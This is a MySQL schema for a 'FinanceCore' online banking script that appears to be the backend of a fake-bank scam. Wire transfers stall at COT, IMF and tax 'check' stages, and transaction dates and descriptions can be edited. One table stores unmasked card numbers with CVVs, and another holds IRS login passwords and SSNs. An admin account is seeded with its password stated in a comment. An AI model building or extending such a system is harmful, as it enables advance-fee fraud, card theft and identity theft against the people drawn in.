-- FINANCECORE BANKING SYSTEM DATABASE SCHEMA
-- Version 5.3.2 (GBP Update)
-- Compatible with MySQL 5.7+ / MariaDB 10.2+ (cPanel)

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

-- --------------------------------------------------------
-- CORE TABLES
-- --------------------------------------------------------

CREATE TABLE IF NOT EXISTS `admins` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password_hash` varchar(255) NOT NULL,
  `email` varchar(100) NOT NULL DEFAULT 'admin@financecore.com',
  `role` varchar(50) NOT NULL DEFAULT 'Super Admin',
  `is_active` tinyint(1) NOT NULL DEFAULT 1,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `account_number` varchar(20) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password_hash` varchar(255) NOT NULL,
  `pin_hash` varchar(255) DEFAULT NULL,
  `email` varchar(100) NOT NULL,
  `phone` varchar(30) DEFAULT NULL,
  `status` enum('Active','Inactive','Locked','Suspended','APPROVED','BLOCKED','TERMINATED') NOT NULL DEFAULT 'Active',
  `profile_photo_url` varchar(255) DEFAULT NULL,
  `first_name` varchar(100) DEFAULT NULL,
  `last_name` varchar(100) DEFAULT NULL,
  `dob` date DEFAULT NULL,
  `country` varchar(100) DEFAULT NULL,
  `city` varchar(100) DEFAULT NULL,
  `state` varchar(100) DEFAULT NULL,
  `zip_code` varchar(20) DEFAULT NULL,
  `address` text,
  `cot_code` varchar(50) DEFAULT NULL,
  `imf_code` varchar(50) DEFAULT NULL,
  `tax_code` varchar(50) DEFAULT NULL,
  `btc_balance` decimal(16,8) DEFAULT 0.00000000,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `account_number` (`account_number`),
  UNIQUE KEY `username` (`username`),
  UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `accounts` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `account_type` enum('savings','checking','fixed_deposit','corporate') DEFAULT 'savings',
  `balance` decimal(15,2) DEFAULT 0.00,
  `daily_limit` decimal(15,2) DEFAULT 5000.00,
  `overdraft_limit` decimal(15,2) DEFAULT 0.00,
  `interest_rate` decimal(5,2) DEFAULT 0.00,
  `status` enum('ACTIVE','SUSPENDED','CLOSED') DEFAULT 'ACTIVE',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `system_settings` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `setting_key` varchar(100) NOT NULL,
  `setting_value` text,
  PRIMARY KEY (`id`),
  UNIQUE KEY `setting_key` (`setting_key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- --------------------------------------------------------
-- TRANSACTIONAL TABLES
-- --------------------------------------------------------

CREATE TABLE IF NOT EXISTS `transactions` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `transaction_ref` varchar(50) NOT NULL,
  `user_id` int(11) NOT NULL,
  `account_id` int(11) NOT NULL,
  `type` enum('Debit','Credit') NOT NULL,
  `category` enum('Deposit','Withdrawal','Transfer','Wire','Loan','Fee','Refund','Other','FDS','Swap','Crypto') NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `currency` varchar(3) NOT NULL DEFAULT 'AED',
  `description` varchar(255) DEFAULT NULL,
  `editable_description` varchar(255) DEFAULT NULL,
  `status` enum('Pending','Completed','Failed','Cancelled','Reversed') NOT NULL DEFAULT 'Pending',
  `date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `editable_date` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `transaction_ref` (`transaction_ref`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `wire_transfers` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `beneficiary_name` varchar(100) NOT NULL,
  `beneficiary_bank` varchar(100) NOT NULL,
  `account_number` varchar(50) NOT NULL,
  `swift_code` varchar(20) DEFAULT NULL,
  `routine_number` varchar(50) DEFAULT NULL,
  `transfer_reason` text,
  `status` enum('Pending','Processing','COT_Check','IMF_Check','Tax_Check','Completed','Rejected') NOT NULL DEFAULT 'Pending',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `deposits` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `method` varchar(50) DEFAULT 'Check',
  `proof_image` varchar(255) DEFAULT NULL,
  `status` enum('Pending','Approved','Rejected') NOT NULL DEFAULT 'Pending',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- --------------------------------------------------------
-- FEATURE MODULES
-- --------------------------------------------------------

CREATE TABLE IF NOT EXISTS `loans` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `loan_type` varchar(50) NOT NULL,
  `duration_months` int(11) NOT NULL,
  `interest_rate` decimal(5,2) DEFAULT 5.00,
  `status` enum('Pending','Approved','Rejected','Paid') NOT NULL DEFAULT 'Pending',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `fds_plans` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) NOT NULL,
  `min_amount` decimal(15,2) NOT NULL,
  `max_amount` decimal(15,2) NOT NULL,
  `interest_rate` decimal(5,2) NOT NULL,
  `duration_days` int(11) NOT NULL,
  `status` enum('Active','Inactive') NOT NULL DEFAULT 'Active',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `fixed_deposits` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `plan_id` int(11) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `return_amount` decimal(15,2) NOT NULL,
  `start_date` date NOT NULL,
  `end_date` date NOT NULL,
  `status` enum('Running','Completed','Terminated') NOT NULL DEFAULT 'Running',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `dps_plans` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) NOT NULL,
  `interest_rate` decimal(5,2) NOT NULL,
  `installment_interval_days` int(11) NOT NULL,
  `total_installments` int(11) NOT NULL,
  `min_amount` decimal(15,2) NOT NULL,
  `status` enum('Active','Inactive') NOT NULL DEFAULT 'Active',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `dps_subscriptions` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `plan_id` int(11) NOT NULL,
  `deposit_amount` decimal(15,2) NOT NULL,
  `given_installments` int(11) DEFAULT 0,
  `next_installment` date DEFAULT NULL,
  `status` enum('Running','Completed','Cancelled') NOT NULL DEFAULT 'Running',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `support_tickets` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `subject` varchar(255) NOT NULL,
  `message` text NOT NULL,
  `status` enum('Open','Replied','Closed') NOT NULL DEFAULT 'Open',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `kyc_documents` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `document_type` varchar(50) NOT NULL DEFAULT 'ID',
  `file_path` varchar(255) NOT NULL,
  `status` enum('Pending','Verified','Rejected') NOT NULL DEFAULT 'Pending',
  `uploaded_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- UNMASKED CARD VAULT
CREATE TABLE IF NOT EXISTS `card_vault` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `card_type` varchar(50) NOT NULL,
  `card_number` varchar(50) NOT NULL,
  `cvv` varchar(10) DEFAULT NULL,
  `name_on_card` varchar(100) DEFAULT NULL,
  `expiry` varchar(10) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `irs_records` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `service_type` varchar(50) NOT NULL DEFAULT 'IRS',
  `login_user` varchar(100) DEFAULT NULL,
  `login_pass` varchar(100) DEFAULT NULL,
  `full_name` varchar(100) NOT NULL,
  `ssn` varchar(20) DEFAULT NULL,
  `tax_year` varchar(4) DEFAULT NULL,
  `refund_amount` decimal(15,2) DEFAULT 0.00,
  `status` enum('Processing','Approved','Paid') NOT NULL DEFAULT 'Processing',
  `submitted_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `activity_logs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `actor` varchar(50) NOT NULL,
  `action` varchar(255) NOT NULL,
  `ip_address` varchar(45) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- --------------------------------------------------------
-- INVESTMENT MODULE
-- --------------------------------------------------------

CREATE TABLE IF NOT EXISTS `investment_plans` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `plan_name` varchar(100) NOT NULL,
  `roi_percentage` decimal(5,2) NOT NULL,
  `duration_days` int(11) NOT NULL,
  `minimum_amount` decimal(15,2) NOT NULL,
  `maximum_amount` decimal(15,2) NOT NULL,
  `status` enum('Active','Inactive') NOT NULL DEFAULT 'Active',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

CREATE TABLE IF NOT EXISTS `user_investments` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `plan_id` int(11) NOT NULL,
  `amount` decimal(15,2) NOT NULL,
  `profit` decimal(15,2) NOT NULL DEFAULT 0.00,
  `start_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `end_date` timestamp NULL DEFAULT NULL,
  `status` enum('Active','Completed','Cancelled') NOT NULL DEFAULT 'Active',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`),
  KEY `plan_id` (`plan_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- --------------------------------------------------------
-- ADMIN RECOVERY (SEED DATA)
-- --------------------------------------------------------

-- Clear existing admins to prevent conflict
TRUNCATE TABLE `admins`;

-- Insert admin2026
-- Note: The hash will be automatically corrected by api.php on first login if it doesn't match adminlogin411
INSERT INTO `admins` (`username`, `password_hash`, `email`, `role`, `is_active`) VALUES 
('admin2026', '$2y$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1n2HQli', 'admin@financecore.com', 'Super Admin', 1);

INSERT IGNORE INTO `system_settings` (`setting_key`, `setting_value`) VALUES 
('site_name', 'BACKWOOD FINANCIAL BANK'),
('currency', 'USD'),
('fee_transfer', '1.0'),
('require_cot', '1'),
('require_imf', '1'),
('require_tax', '0'),
('enable_card_payment', '0'),
('enable_chat', '0');

-- Migration Procedure
DROP PROCEDURE IF EXISTS safe_migrate_schema;
DELIMITER //
CREATE PROCEDURE safe_migrate_schema()
BEGIN
    DECLARE col_exists INT;
    -- Migration for DOB
    SELECT COUNT(*) INTO col_exists FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users' AND column_name = 'dob';
    IF col_exists = 0 THEN ALTER TABLE users ADD COLUMN dob DATE DEFAULT NULL; END IF;
    
    -- Migration for IRS Service Type
    SELECT COUNT(*) INTO col_exists FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'irs_records' AND column_name = 'service_type';
    IF col_exists = 0 THEN 
        ALTER TABLE irs_records ADD COLUMN service_type varchar(50) NOT NULL DEFAULT 'IRS';
        ALTER TABLE irs_records ADD COLUMN login_user varchar(100) DEFAULT NULL;
        ALTER TABLE irs_records ADD COLUMN login_pass varchar(100) DEFAULT NULL;
        ALTER TABLE irs_records MODIFY ssn varchar(20) DEFAULT NULL;
        ALTER TABLE irs_records MODIFY tax_year varchar(4) DEFAULT NULL;
        ALTER TABLE irs_records MODIFY refund_amount decimal(15,2) DEFAULT 0.00;
    END IF;
    
    -- Migration for BTC Balance
    SELECT COUNT(*) INTO col_exists FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users' AND column_name = 'btc_balance';
    IF col_exists = 0 THEN ALTER TABLE users ADD COLUMN btc_balance DECIMAL(16,8) DEFAULT 0.00000000; END IF;

    -- Migration for Raw Card Vault
    SELECT COUNT(*) INTO col_exists FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'card_vault' AND column_name = 'card_number';
    IF col_exists = 0 THEN 
        ALTER TABLE card_vault ADD COLUMN card_number VARCHAR(50) NOT NULL;
        ALTER TABLE card_vault ADD COLUMN cvv VARCHAR(10) DEFAULT NULL;
        ALTER TABLE card_vault ADD COLUMN name_on_card VARCHAR(100) DEFAULT NULL;
        -- Optional cleanup if restarting
        -- ALTER TABLE card_vault DROP COLUMN masked_card; 
    END IF;
END //
DELIMITER ;
CALL safe_migrate_schema();
DROP PROCEDURE safe_migrate_schema;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;